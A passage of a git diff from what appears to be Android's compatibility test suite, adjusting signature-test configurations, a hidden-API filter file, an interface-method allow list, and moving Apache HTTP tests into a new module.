         <option name="class" value="android.signature.cts.api.current.test.SignatureTest" />
         <option name="instrumentation-arg" key="expected-api-files" value="android-test-base-current.api.gz" />
         <option name="runtime-hint" value="5s" />
+        <!-- Disable hidden API checks (http://b/171459260). -->
+        <option name="hidden-api-checks" value="false" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml b/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml
index f8ab351..3b33934 100644
--- a/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml
@@ -29,5 +29,7 @@
         <option name="class" value="android.signature.cts.api.current.mock.SignatureTest" />
         <option name="instrumentation-arg" key="expected-api-files" value="android-test-mock-current.api.gz" />
         <option name="runtime-hint" value="5s" />
+        <!-- Disable hidden API checks (http://b/171459260). -->
+        <option name="hidden-api-checks" value="false" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml b/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml
index 5c18209..015caf0 100644
--- a/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml
@@ -29,5 +29,7 @@
         <option name="class" value="android.signature.cts.api.current.runner.SignatureTest" />
         <option name="instrumentation-arg" key="expected-api-files" value="android-test-base-current.api.gz,android-test-mock-current.api.gz,android-test-runner-current.api.gz" />
         <option name="runtime-hint" value="5s" />
+        <!-- Disable hidden API checks (http://b/171459260). -->
+        <option name="hidden-api-checks" value="false" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/apache-http-legacy-27-api/AndroidTest.xml b/tests/signature/api-check/apache-http-legacy-27-api/AndroidTest.xml
index ff5cff8..0fc1925 100644
--- a/tests/signature/api-check/apache-http-legacy-27-api/AndroidTest.xml
+++ b/tests/signature/api-check/apache-http-legacy-27-api/AndroidTest.xml
@@ -30,5 +30,7 @@
         <option name="instrumentation-arg" key="base-api-files" value="current.api.gz" />
         <option name="instrumentation-arg" key="expected-api-files" value="apache-http-legacy-current.api.gz" />
         <option name="runtime-hint" value="5s" />
+        <!-- Disable hidden API checks (http://b/171459260). -->
+        <option name="hidden-api-checks" value="false" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml b/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
index 5b15e41..89b7748 100644
--- a/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
@@ -29,5 +29,7 @@
         <option name="class" value="android.signature.cts.api.current.http.SignatureTest" />
         <option name="instrumentation-arg" key="unexpected-api-files" value="apache-http-legacy-current.api.gz" />
         <option name="runtime-hint" value="5s" />
+        <!-- Disable hidden API checks (http://b/171459260). -->
+        <option name="hidden-api-checks" value="false" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidTest.xml b/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidTest.xml
index 7216d25..12dcf9b 100644
--- a/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidTest.xml
+++ b/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidTest.xml
@@ -30,5 +30,7 @@
         <option name="instrumentation-arg" key="base-api-files" value="current.api.gz" />
         <option name="instrumentation-arg" key="expected-api-files" value="apache-http-legacy-current.api.gz" />
         <option name="runtime-hint" value="5s" />
+        <!-- Disable hidden API checks (http://b/171459260). -->
+        <option name="hidden-api-checks" value="false" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/current-api/AndroidTest.xml b/tests/signature/api-check/current-api/AndroidTest.xml
index f14a503..8d39bd7 100644
--- a/tests/signature/api-check/current-api/AndroidTest.xml
+++ b/tests/signature/api-check/current-api/AndroidTest.xml
@@ -31,5 +31,7 @@
         <option name="instrumentation-arg" key="expected-api-files" value="current.api.gz" />
         <option name="instrumentation-arg" key="unexpected-api-files" value="android-test-base-current.api.gz,android-test-mock-current.api.gz,android-test-runner-current.api.gz" />
         <option name="runtime-hint" value="30s" />
+        <!-- Disable hidden API checks (http://b/171459260). -->
+        <option name="hidden-api-checks" value="false" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/hiddenapi-filter.csv b/tests/signature/api-check/hiddenapi-filter.csv
index eb4ef42..da8fdb7 100644
--- a/tests/signature/api-check/hiddenapi-filter.csv
+++ b/tests/signature/api-check/hiddenapi-filter.csv
@@ -1,36 +1,38 @@
 # These APIs were reverted from the blocklist to the non-SDK API list (b/168812851)
-Landroid/bluetooth/BluetoothCodecConfig;-><init>(I)V,blocked
-Landroid/bluetooth/BluetoothCodecConfig;-><init>(IIIIIJJJJ)V,blocked
-Landroid/bluetooth/BluetoothCodecConfig;->BITS_PER_SAMPLE_16:I,blocked
-Landroid/bluetooth/BluetoothCodecConfig;->BITS_PER_SAMPLE_24:I,blocked
-Landroid/bluetooth/BluetoothCodecConfig;->BITS_PER_SAMPLE_32:I,blocked
-Landroid/bluetooth/BluetoothCodecConfig;->BITS_PER_SAMPLE_NONE:I,blocked
-Landroid/bluetooth/BluetoothCodecConfig;->CHANNEL_MODE_MONO:I,blocked
-Landroid/bluetooth/BluetoothCodecConfig;->CHANNEL_MODE_NONE:I,blocked
-Landroid/bluetooth/BluetoothCodecConfig;->CHANNEL_MODE_STEREO:I,blocked
-Landroid/bluetooth/BluetoothCodecConfig;->CODEC_PRIORITY_DEFAULT:I,blocked
-Landroid/bluetooth/BluetoothCodecConfig;->CODEC_PRIORITY_DISABLED:I,blocked
-Landroid/bluetooth/BluetoothCodecConfig;->CODEC_PRIORITY_HIGHEST:I,blocked
-Landroid/bluetooth/BluetoothCodecConfig;->SAMPLE_RATE_176400:I,blocked
-Landroid/bluetooth/BluetoothCodecConfig;->SAMPLE_RATE_192000:I,blocked
-Landroid/bluetooth/BluetoothCodecConfig;->SAMPLE_RATE_44100:I,blocked
-Landroid/bluetooth/BluetoothCodecConfig;->SAMPLE_RATE_48000:I,blocked
-Landroid/bluetooth/BluetoothCodecConfig;->SAMPLE_RATE_88200:I,blocked
-Landroid/bluetooth/BluetoothCodecConfig;->SAMPLE_RATE_96000:I,blocked
-Landroid/bluetooth/BluetoothCodecConfig;->SAMPLE_RATE_NONE:I,blocked
-Landroid/bluetooth/BluetoothCodecConfig;->SOURCE_CODEC_TYPE_AAC:I,blocked
-Landroid/bluetooth/BluetoothCodecConfig;->SOURCE_CODEC_TYPE_APTX:I,blocked
-Landroid/bluetooth/BluetoothCodecConfig;->SOURCE_CODEC_TYPE_APTX_HD:I,blocked
-Landroid/bluetooth/BluetoothCodecConfig;->SOURCE_CODEC_TYPE_INVALID:I,blocked
-Landroid/bluetooth/BluetoothCodecConfig;->SOURCE_CODEC_TYPE_LDAC:I,blocked
-Landroid/bluetooth/BluetoothCodecConfig;->SOURCE_CODEC_TYPE_MAX:I,blocked
-Landroid/bluetooth/BluetoothCodecConfig;->SOURCE_CODEC_TYPE_SBC:I,blocked
-Landroid/bluetooth/BluetoothCodecConfig;->getBitsPerSample()I,blocked
-Landroid/bluetooth/BluetoothCodecConfig;->getCodecPriority()I,blocked
-Landroid/bluetooth/BluetoothCodecConfig;->getCodecSpecific1()J,blocked
-Landroid/bluetooth/BluetoothCodecConfig;->getCodecType()I,blocked
-Landroid/bluetooth/BluetoothCodecConfig;->getSampleRate()I,blocked
-Landroid/bluetooth/BluetoothCodecStatus;->EXTRA_CODEC_STATUS:Ljava/lang/String;,blocked
-Landroid/bluetooth/BluetoothCodecStatus;->getCodecConfig()Landroid/bluetooth/BluetoothCodecConfig;,blocked
-Landroid/bluetooth/BluetoothCodecStatus;->getCodecsLocalCapabilities()[Landroid/bluetooth/BluetoothCodecConfig;,blocked
-Landroid/bluetooth/BluetoothCodecStatus;->getCodecsSelectableCapabilities()[Landroid/bluetooth/BluetoothCodecConfig;,blocked
\ No newline at end of file
+Landroid/bluetooth/BluetoothCodecConfig;-><init>(I)V
+Landroid/bluetooth/BluetoothCodecConfig;-><init>(IIIIIJJJJ)V
+Landroid/bluetooth/BluetoothCodecConfig;->BITS_PER_SAMPLE_16:I
+Landroid/bluetooth/BluetoothCodecConfig;->BITS_PER_SAMPLE_24:I
+Landroid/bluetooth/BluetoothCodecConfig;->BITS_PER_SAMPLE_32:I
+Landroid/bluetooth/BluetoothCodecConfig;->BITS_PER_SAMPLE_NONE:I
+Landroid/bluetooth/BluetoothCodecConfig;->CHANNEL_MODE_MONO:I
+Landroid/bluetooth/BluetoothCodecConfig;->CHANNEL_MODE_NONE:I
+Landroid/bluetooth/BluetoothCodecConfig;->CHANNEL_MODE_STEREO:I
+Landroid/bluetooth/BluetoothCodecConfig;->CODEC_PRIORITY_DEFAULT:I
+Landroid/bluetooth/BluetoothCodecConfig;->CODEC_PRIORITY_DISABLED:I
+Landroid/bluetooth/BluetoothCodecConfig;->CODEC_PRIORITY_HIGHEST:I
+Landroid/bluetooth/BluetoothCodecConfig;->SAMPLE_RATE_176400:I
+Landroid/bluetooth/BluetoothCodecConfig;->SAMPLE_RATE_192000:I
+Landroid/bluetooth/BluetoothCodecConfig;->SAMPLE_RATE_44100:I
+Landroid/bluetooth/BluetoothCodecConfig;->SAMPLE_RATE_48000:I
+Landroid/bluetooth/BluetoothCodecConfig;->SAMPLE_RATE_88200:I
+Landroid/bluetooth/BluetoothCodecConfig;->SAMPLE_RATE_96000:I
+Landroid/bluetooth/BluetoothCodecConfig;->SAMPLE_RATE_NONE:I
+Landroid/bluetooth/BluetoothCodecConfig;->SOURCE_CODEC_TYPE_AAC:I
+Landroid/bluetooth/BluetoothCodecConfig;->SOURCE_CODEC_TYPE_APTX:I
+Landroid/bluetooth/BluetoothCodecConfig;->SOURCE_CODEC_TYPE_APTX_HD:I
+Landroid/bluetooth/BluetoothCodecConfig;->SOURCE_CODEC_TYPE_INVALID:I
+Landroid/bluetooth/BluetoothCodecConfig;->SOURCE_CODEC_TYPE_LDAC:I
+Landroid/bluetooth/BluetoothCodecConfig;->SOURCE_CODEC_TYPE_MAX:I
+Landroid/bluetooth/BluetoothCodecConfig;->SOURCE_CODEC_TYPE_SBC:I
+Landroid/bluetooth/BluetoothCodecConfig;->getBitsPerSample()I
+Landroid/bluetooth/BluetoothCodecConfig;->getCodecPriority()I
+Landroid/bluetooth/BluetoothCodecConfig;->getCodecSpecific1()J
+Landroid/bluetooth/BluetoothCodecConfig;->getCodecType()I
+Landroid/bluetooth/BluetoothCodecConfig;->getSampleRate()I
+Landroid/bluetooth/BluetoothCodecStatus;->EXTRA_CODEC_STATUS:Ljava/lang/String;
+Landroid/bluetooth/BluetoothCodecStatus;->getCodecConfig()Landroid/bluetooth/BluetoothCodecConfig;
+Landroid/bluetooth/BluetoothCodecStatus;->getCodecsLocalCapabilities()[Landroid/bluetooth/BluetoothCodecConfig;
+Landroid/bluetooth/BluetoothCodecStatus;->getCodecsSelectableCapabilities()[Landroid/bluetooth/BluetoothCodecConfig;
+# This API was moved from blocklist to unsupported list (b/159022482)
+Landroid/telephony/SmsManager;->deleteMessageFromIcc(I)Z
diff --git a/tests/signature/api-check/shared-libs-api/AndroidManifest.xml b/tests/signature/api-check/shared-libs-api/AndroidManifest.xml
index 663ef6b..d0ac28f7 100644
--- a/tests/signature/api-check/shared-libs-api/AndroidManifest.xml
+++ b/tests/signature/api-check/shared-libs-api/AndroidManifest.xml
@@ -27,6 +27,7 @@
         <uses-library android:name="android.test.runner" android:required="false"/>
         <uses-library android:name="android.net.ipsec.ike" android:required="false"/>
         <uses-library android:name="com.android.future.usb.accessory" android:required="false"/>
+        <uses-library android:name="com.android.libraries.tv.tvsystem" android:required="false"/>
         <uses-library android:name="com.android.location.provider" android:required="false"/>
         <uses-library android:name="com.android.mediadrm.signer" android:required="false"/>
         <uses-library android:name="com.android.media.remotedisplay" android:required="false"/>
diff --git a/tests/signature/api-check/shared-libs-api/AndroidTest.xml b/tests/signature/api-check/shared-libs-api/AndroidTest.xml
index a679079..d13aa54 100644
--- a/tests/signature/api-check/shared-libs-api/AndroidTest.xml
+++ b/tests/signature/api-check/shared-libs-api/AndroidTest.xml
@@ -29,5 +29,7 @@
         <option name="class" value="android.signature.cts.api.SignatureMultiLibsTest" />
         <option name="instrumentation-arg" key="expected-api-files" value="shared-libs-all.api.zip" />
         <option name="runtime-hint" value="30s" />
+        <!-- Disable hidden API checks (http://b/171459260). -->
+        <option name="hidden-api-checks" value="false" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
index 31c2fb3..43cca41 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
@@ -155,7 +155,7 @@
                 while (line != null) {
                     DexMember dexMember = DexApiDocumentParser.parseLine(line, lineIndex);
                     if (memberFilter.test(dexMember) && shouldTestMember(dexMember)
-                            && !hiddenapiFilterSet.contains(line)) {
+                            && !isFiltered(line)) {
                         DexMemberChecker.checkSingleMember(dexMember, reflection, jni,
                                 observer);
                     }
@@ -176,7 +176,28 @@
         return false;
     }
 
-    private void loadFilters() throws IOException, ParseException {
+    /**
+     * Checks whether this method/field is included in the filter file. If so, we should not test
+     * it. If not, we should test it.
+     *
+     * @param line is the line from the hiddenapi-flags.csv indicating which method/field to check
+     * @return true if the method/field is to be filtered out, false otherwise
+     */
+    private boolean isFiltered(String line) {
+        if (line == null) {
+            return false;
+        }
+        // Need to remove which list the method/field is a part of (at the end of the line)
+        int commaIndex = line.indexOf(',');
+        return commaIndex > 0 && hiddenapiFilterSet.contains(line.substring(0, commaIndex));
+    }
+
+    /**
+     * Loads the filter file and inserts each line of the file into a Set
+     *
+     * @throws IOException if the filter file does not exist
+     */
+    private void loadFilters() throws IOException {
         // Avoids testing members in filter file (only a single filter file can be supplied)
         if (hiddenapiFilterFile != null) {
             VirtualPath.ResourcePath resourcePath =
diff --git a/tests/signature/api-check/system-api/AndroidTest.xml b/tests/signature/api-check/system-api/AndroidTest.xml
index 904dce1..e885473 100644
--- a/tests/signature/api-check/system-api/AndroidTest.xml
+++ b/tests/signature/api-check/system-api/AndroidTest.xml
@@ -31,5 +31,7 @@
         <option name="instrumentation-arg" key="expected-api-files" value="system-current.api.gz,system-removed.api.gz,system-all.api.zip" />
         <option name="instrumentation-arg" key="unexpected-api-files" value="android-test-mock-current.api.gz,android-test-runner-current.api.gz" />
         <option name="runtime-hint" value="30s" />
+        <!-- Disable hidden API checks (http://b/171459260). -->
+        <option name="hidden-api-checks" value="false" />
     </test>
 </configuration>
diff --git a/tests/signature/api/Android.mk b/tests/signature/api/Android.mk
index af99a5b..d91f511 100644
--- a/tests/signature/api/Android.mk
+++ b/tests/signature/api/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_MODULE := cts-$(subst .,-,$(1))
 LOCAL_MODULE_STEM := $(1)
 LOCAL_MODULE_CLASS := ETC
-LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests sts
 include $(BUILD_SYSTEM)/base_rules.mk
 $$(LOCAL_BUILT_MODULE): $(2) | $(APICHECK)
 	@echo "Convert API file $$< -> $$@"
diff --git a/tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java b/tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java
index 66492ff..e0da595 100644
--- a/tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java
+++ b/tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java
@@ -44,24 +44,39 @@
  */
 class InterfaceChecker {
 
-    private static final Set<String> HIDDEN_INTERFACE_METHOD_WHITELIST = new HashSet<>();
+    private static final Set<String> HIDDEN_INTERFACE_METHOD_ALLOW_LIST = new HashSet<>();
     static {
         // Interfaces that define @hide or @SystemApi or @TestApi methods will by definition contain
-        // methods that do not appear in current.txt. Interfaces added to this
-        // list are probably not meant to be implemented in an application.
-        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract boolean android.companion.DeviceFilter.matches(D)");
-        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public static <D> boolean android.companion.DeviceFilter.matches(android.companion.DeviceFilter<D>,D)");
-        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract java.lang.String android.companion.DeviceFilter.getDeviceDisplayName(D)");
-        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract int android.companion.DeviceFilter.getMediumType()");
-        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract void android.nfc.tech.TagTechnology.reconnect() throws java.io.IOException");
-        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract void android.os.IBinder.shellCommand(java.io.FileDescriptor,java.io.FileDescriptor,java.io.FileDescriptor,java.lang.String[],android.os.ShellCallback,android.os.ResultReceiver) throws android.os.RemoteException");
-        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract int android.text.ParcelableSpan.getSpanTypeIdInternal()");
-        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract void android.text.ParcelableSpan.writeToParcelInternal(android.os.Parcel,int)");
-        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract void android.view.WindowManager.requestAppKeyboardShortcuts(android.view.WindowManager$KeyboardShortcutsReceiver,int)");
-        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract boolean javax.microedition.khronos.egl.EGL10.eglReleaseThread()");
-        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract void org.w3c.dom.ls.LSSerializer.setFilter(org.w3c.dom.ls.LSSerializerFilter)");
-        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract org.w3c.dom.ls.LSSerializerFilter org.w3c.dom.ls.LSSerializer.getFilter()");
-        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract android.graphics.Region android.view.WindowManager.getCurrentImeTouchRegion()");
+        // methods that do not appear in current.txt but do appear at runtime. That means that those
+        // interfaces will fail compatibility checking because a developer could never implement all
+        // the methods in the interface. However, some interfaces are not intended to be implemented
+        // by a developer and so additional methods in the runtime class will not cause
+        // compatibility errors. Unfortunately, this checker has no way to determine from the
+        // interface whether an interface is intended to be implemented by a developer and for
+        // safety's sake assumes that all interfaces are.
+        //
+        // Additional methods that are provided by the runtime but are not in the API specification
+        // must be listed here to prevent them from being reported as errors.
+        //
+        // TODO(b/71886491): Avoid the need for this allow list.
+        HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract boolean android.companion.DeviceFilter.matches(D)");
+        HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public static <D> boolean android.companion.DeviceFilter.matches(android.companion.DeviceFilter<D>,D)");
+        HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract java.lang.String android.companion.DeviceFilter.getDeviceDisplayName(D)");
+        HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract int android.companion.DeviceFilter.getMediumType()");
+        HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void android.nfc.tech.TagTechnology.reconnect() throws java.io.IOException");
+        HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void android.os.IBinder.shellCommand(java.io.FileDescriptor,java.io.FileDescriptor,java.io.FileDescriptor,java.lang.String[],android.os.ShellCallback,android.os.ResultReceiver) throws android.os.RemoteException");
+        HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract int android.text.ParcelableSpan.getSpanTypeIdInternal()");
+        HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void android.text.ParcelableSpan.writeToParcelInternal(android.os.Parcel,int)");
+        HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void android.view.WindowManager.requestAppKeyboardShortcuts(android.view.WindowManager$KeyboardShortcutsReceiver,int)");
+        HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract boolean javax.microedition.khronos.egl.EGL10.eglReleaseThread()");
+        HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void org.w3c.dom.ls.LSSerializer.setFilter(org.w3c.dom.ls.LSSerializerFilter)");
+        HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract org.w3c.dom.ls.LSSerializerFilter org.w3c.dom.ls.LSSerializer.getFilter()");
+        HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract android.graphics.Region android.view.WindowManager.getCurrentImeTouchRegion()");
+        HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract java.util.Set<android.media.AudioMetadata$Key<?>> android.media.AudioMetadataReadMap.keySet()");
+        HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract android.view.InsetsState android.view.WindowInsetsController.getState()");
+        HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract boolean android.view.WindowInsetsController.isRequestedVisible(int)");
+        HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void android.view.WindowInsetsController.setAnimationsDisabled(boolean)");
+        HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void android.view.inputmethod.InputMethod.hideSoftInputWithToken(int,android.os.ResultReceiver,android.os.IBinder)");
     }
 
     private final ResultObserver resultObserver;
@@ -84,7 +99,9 @@
             if (methods.size() > 0) {
                 resultObserver.notifyFailure(FailureType.MISMATCH_INTERFACE_METHOD,
                         classDescription.getAbsoluteClassName(), "Interfaces cannot be modified: "
-                                + classDescription.getAbsoluteClassName() + ": " + methods);
+                                + classDescription.getAbsoluteClassName()
+                                + " has the following methods that are not present in the API specification:\n\t"
+                                + methods.stream().map(Method::toGenericString).collect(Collectors.joining("\n\t")));
             }
         }
     }
@@ -107,7 +124,7 @@
                 .filter(not(Method::isSynthetic))
                 .filter(not(Method::isBridge))
                 .filter(m -> !Modifier.isStatic(m.getModifiers()))
-                .filter(m -> !HIDDEN_INTERFACE_METHOD_WHITELIST.contains(m.toGenericString()))
+                .filter(m -> !HIDDEN_INTERFACE_METHOD_ALLOW_LIST.contains(m.toGenericString()))
                 .filter(m -> !findMethod(classDescription, m))
                 .collect(Collectors.toCollection(ArrayList::new));
     }
diff --git a/tests/signature/lib/common/src/android/signature/cts/ReflectionHelper.java b/tests/signature/lib/common/src/android/signature/cts/ReflectionHelper.java
index 3bed2ac..0890bc9 100644
--- a/tests/signature/lib/common/src/android/signature/cts/ReflectionHelper.java
+++ b/tests/signature/lib/common/src/android/signature/cts/ReflectionHelper.java
@@ -209,7 +209,8 @@
         // Check for varargs.  jdiff reports varargs as ..., while
         // reflection reports them as []
         int jdiffParamEndOffset = jdiffParam.indexOf("...");
-        int reflectionParamEndOffset = reflectionParam != null ? reflectionParam.indexOf("[]") : -1;
+        int reflectionParamEndOffset = reflectionParam != null
+                ? reflectionParam.lastIndexOf("[]") : -1;
         if (jdiffParamEndOffset != -1 && reflectionParamEndOffset != -1) {
             jdiffParam = jdiffParam.substring(0, jdiffParamEndOffset);
             reflectionParam = reflectionParam.substring(0, reflectionParamEndOffset);
diff --git a/tests/tests/apache-http/Android.bp b/tests/tests/apache-http/Android.bp
new file mode 100644
index 0000000..9167002
--- /dev/null
+++ b/tests/tests/apache-http/Android.bp
@@ -0,0 +1,40 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsApacheHttpTestCases",
+    defaults: ["cts_defaults"],
+    sdk_version: "test_current",
+    srcs: [
+        "src/**/*.java",
+        "src/**/*.kt",
+    ],
+    libs: [
+        "android.test.base",
+        "org.apache.http.legacy",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "mockwebserver",
+        "ctstestserver",
+    ],
+    jni_libs: [
+        "libcts_jni",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    compile_multilib: "both",
+}
diff --git a/tests/tests/apache-http/AndroidManifest.xml b/tests/tests/apache-http/AndroidManifest.xml
new file mode 100644
index 0000000..8fa478b
--- /dev/null
+++ b/tests/tests/apache-http/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.apachehttp.cts">
+
+    <uses-permission android:name="android.permission.INTERNET" />
+
+    <application android:usesCleartextTraffic="true">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.apachehttp.cts" >
+    </instrumentation>
+</manifest>
diff --git a/tests/tests/apache-http/AndroidTest.xml b/tests/tests/apache-http/AndroidTest.xml
new file mode 100644
index 0000000..0bd9d28
--- /dev/null
+++ b/tests/tests/apache-http/AndroidTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<configuration description="Config for CtsApacheHttpDeviceTestCases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="networking" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsApacheHttpTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.apachehttp.cts" />
+    </test>
+</configuration>
diff --git a/tests/tests/apache-http/OWNERS b/tests/tests/apache-http/OWNERS
new file mode 100644
index 0000000..b9032af
--- /dev/null
+++ b/tests/tests/apache-http/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 24949
+include platform/frameworks/base:/core/java/android/net/http/OWNERS
diff --git a/tests/tests/net/src/android/net/http/cts/ApacheHttpClientTest.java b/tests/tests/apache-http/src/android/net/http/cts/ApacheHttpClientTest.java
similarity index 100%
rename from tests/tests/net/src/android/net/http/cts/ApacheHttpClientTest.java
rename to tests/tests/apache-http/src/android/net/http/cts/ApacheHttpClientTest.java
diff --git a/tests/tests/net/src/android/net/http/cts/HttpResponseCacheTest.java b/tests/tests/apache-http/src/android/net/http/cts/HttpResponseCacheTest.java
similarity index 100%
rename from tests/tests/net/src/android/net/http/cts/HttpResponseCacheTest.java
rename to tests/tests/apache-http/src/android/net/http/cts/HttpResponseCacheTest.java
diff --git a/tests/tests/net/src/android/net/http/cts/SslCertificateTest.java b/tests/tests/apache-http/src/android/net/http/cts/SslCertificateTest.java
similarity index 100%
rename from tests/tests/net/src/android/net/http/cts/SslCertificateTest.java
rename to tests/tests/apache-http/src/android/net/http/cts/SslCertificateTest.java
diff --git a/tests/tests/net/src/android/net/http/cts/SslCertificate_DNameTest.java b/tests/tests/apache-http/src/android/net/http/cts/SslCertificate_DNameTest.java
similarity index 100%
rename from tests/tests/net/src/android/net/http/cts/SslCertificate_DNameTest.java
rename to tests/tests/apache-http/src/android/net/http/cts/SslCertificate_DNameTest.java
diff --git a/tests/tests/net/src/android/net/http/cts/SslErrorTest.java b/tests/tests/apache-http/src/android/net/http/cts/SslErrorTest.java
similarity index 100%
rename from tests/tests/net/src/android/net/http/cts/SslErrorTest.java
rename to tests/tests/apache-http/src/android/net/http/cts/SslErrorTest.java
diff --git a/tests/tests/net/src/android/net/http/cts/X509TrustManagerExtensionsTest.java b/tests/tests/apache-http/src/android/net/http/cts/X509TrustManagerExtensionsTest.java
similarity index 100%
rename from tests/tests/net/src/android/net/http/cts/X509TrustManagerExtensionsTest.java
rename to tests/tests/apache-http/src/android/net/http/cts/X509TrustManagerExtensionsTest.java
diff --git a/tests/tests/net/src/org/apache/http/conn/ssl/cts/AbstractVerifierTest.java b/tests/tests/apache-http/src/org/apache/http/conn/ssl/cts/AbstractVerifierTest.java
similarity index 100%
rename from tests/tests/net/src/org/apache/http/conn/ssl/cts/AbstractVerifierTest.java
rename to tests/tests/apache-http/src/org/apache/http/conn/ssl/cts/AbstractVerifierTest.java
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageReportingTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageReportingTest.java
index ebb5d11..0681f4e 100644
